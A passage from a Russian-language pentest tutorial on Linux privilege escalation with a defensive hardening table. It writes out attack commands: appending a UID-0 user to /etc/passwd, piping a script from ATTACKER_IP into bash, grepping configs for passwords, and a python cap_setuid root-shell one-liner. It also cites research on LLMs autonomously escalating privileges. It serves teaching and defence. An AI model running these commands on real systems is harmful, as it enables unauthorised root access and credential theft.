# 3. Или ищем вручную:
searchsploit linux kernel
3.13
privilege escalation
Linux Exploit Suggester оценивает вероятность успеха: Highly Probable, Probable, Less Probable. Фокусируйся на первой категории - остальные чаще расстраивают, чем радуют.
Writable /etc/passwd: добавление root-пользователя
Если файл
/etc/passwd
доступен для записи (встречается на CTF-машинах и иногда в реальных средах с кривыми руками), можно тупо добавить нового пользователя с UID 0.
Bash:
# Проверяем права:
ls
-la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd
# Генерируем хеш пароля (SHA-512, OpenSSL 1.1.1+; если -6 недоступен, используй -1 для MD5):
openssl
passwd
-6 -salt xyz password123
# $6$xyz$rD...hash...
# Добавляем пользователя с UID 0:
echo
'hacker:$6$xyz$rD...hash...:0:0:root:/root:/bin/bash'
>>
/etc/passwd
# Переключаемся:
su
hacker
# Вводим password123
whoami
# root
Это прямой пример техники Create Account: Local Account (T1136.001, Persistence) - добавление нового пользователя с UID 0 в файл учётных данных.
Пошаговый чейн: от shell до root
Собираю всё в единый алгоритм - так я работаю на реальной машине:
Делай раз - базовая разведка руками:
Bash:
whoami
&&
id
uname
-a
sudo
-l
cat
/etc/crontab
find
/ -perm -4000 -type f -ls
2>
/dev/null
Если
sudo -l
даёт вектор - эксплуатируй сразу через GTFOBins. Нестандартный SUID-бинарь - анализируй. Writable cron-задача - модифицируй. На этом этапе 60% CTF-машин уже решены.
Делай два - запускай LinPEAS:
Bash:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
|
tee
/tmp/lp.txt
Ищи красно-жёлтые маркеры. Проверяй всё, что LinPEAS отметил как высоковероятный вектор. Обращай внимание на capabilities (
getcap -r / 2>/dev/null
), writable директории в PATH и конфиги с паролями.
Делай три - мониторинг и глубокий анализ:
Bash:
# Если ничего не нашлось - запускай pspy:
./pspy64
# Параллельно ищи пароли:
grep
-ri
"pass\|pwd\|credential"
/var/www/ /opt/ /home/
2>
/dev/null
find
/ -name
"*.bak"
-o -name
"*.old"
-o -name
"*.conf"
2>
/dev/null
|
xargs
grep
-li
"password"
2>
/dev/null
Только если все предыдущие шаги не дали результат - переходи к kernel exploits. Проверяй версию ядра через Linux Exploit Suggester и ищи подходящий эксплойт. Это крайний вариант, а не первый.
Как автоматика конкурирует с ручным анализом
Согласно исследованию Happe и Cito (2023), «LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks» (arxiv.org), GPT-4-Turbo успешно эксплуатировал от 33% до 83% уязвимостей в benchmark privilege escalation - сравнимо с результатами профессиональных пентестеров (75%). При этом даже продвинутые модели спотыкались на multi-step эксплуатации: например, не могли связать найденный SUID-бинарь с необходимостью проверить его в GTFOBins.
Что это значит на практике? LinPEAS и LinEnum не заменяют думающего пентестера. Скрипт покажет данные, но связать находки в рабочий чейн - твоя работа. LinPEAS может пометить
/usr/bin/python3
с capability
cap_setuid
красным цветом, но конвертировать эту находку в root shell должен ты:
Bash:
# Пример: Python с cap_setuid
/usr/bin/python3 -c
'import os; os.setuid(0); os.system("/bin/bash")'
Защита и Linux hardening: что закрывать
Понимание атак даёт понимание защиты. Конкретные рекомендации:
Вектор атакиМера защитыSudo misconfigurationНикогда не давать sudo на shell-интерпретаторы, редакторы, find, awk. Строго определённые команды с полным путёмSUID на нестандартных бинаряхРегулярно аудитировать:
find / -perm -4000 -type f -ls
. Снимать SUID-бит с ненужных файлов:
chmod u-s /path/to/binary
Writable cron-скриптыВладелец root, права 700 или 755. Никогда не 777Устаревшее ядроОбновлять ядро. Использовать
livepatch
для критичных систем, где перезагрузка невозможнаПароли в конфигахVault-системы (HashiCorp Vault, ansible-vault). Права на конфиги: 600, владелец - сервисный аккаунтWritable /etc/passwdПрава:
/etc/passwd
- 644,
/etc/shadow
- 640. Мониторить изменения через auditd
Итоги
Повышение привилегий Linux - не магия и не набор готовых рецептов. Это системный процесс: разведка, анализ, эксплуатация. LinPEAS и LinEnum автоматизируют разведку, GTFOBins дают справочник по эксплуатации, pspy помогает увидеть скрытые процессы. А связать всё это в рабочий чейн - задача пентестера, не скрипта.
Начни с лабораторий. На TryHackMe есть комнаты «Linux PrivEsc» и «Linux PrivEsc Arena», на HackerLab (https://hackerlab.pro/) - десятки машин с различными векторами. Запускай LinPEAS на каждой, учись читать вывод, проверяй находки вручную. Через двадцать машин ты будешь видеть вектор быстрее, чем скрипт закончит работу. Проверено.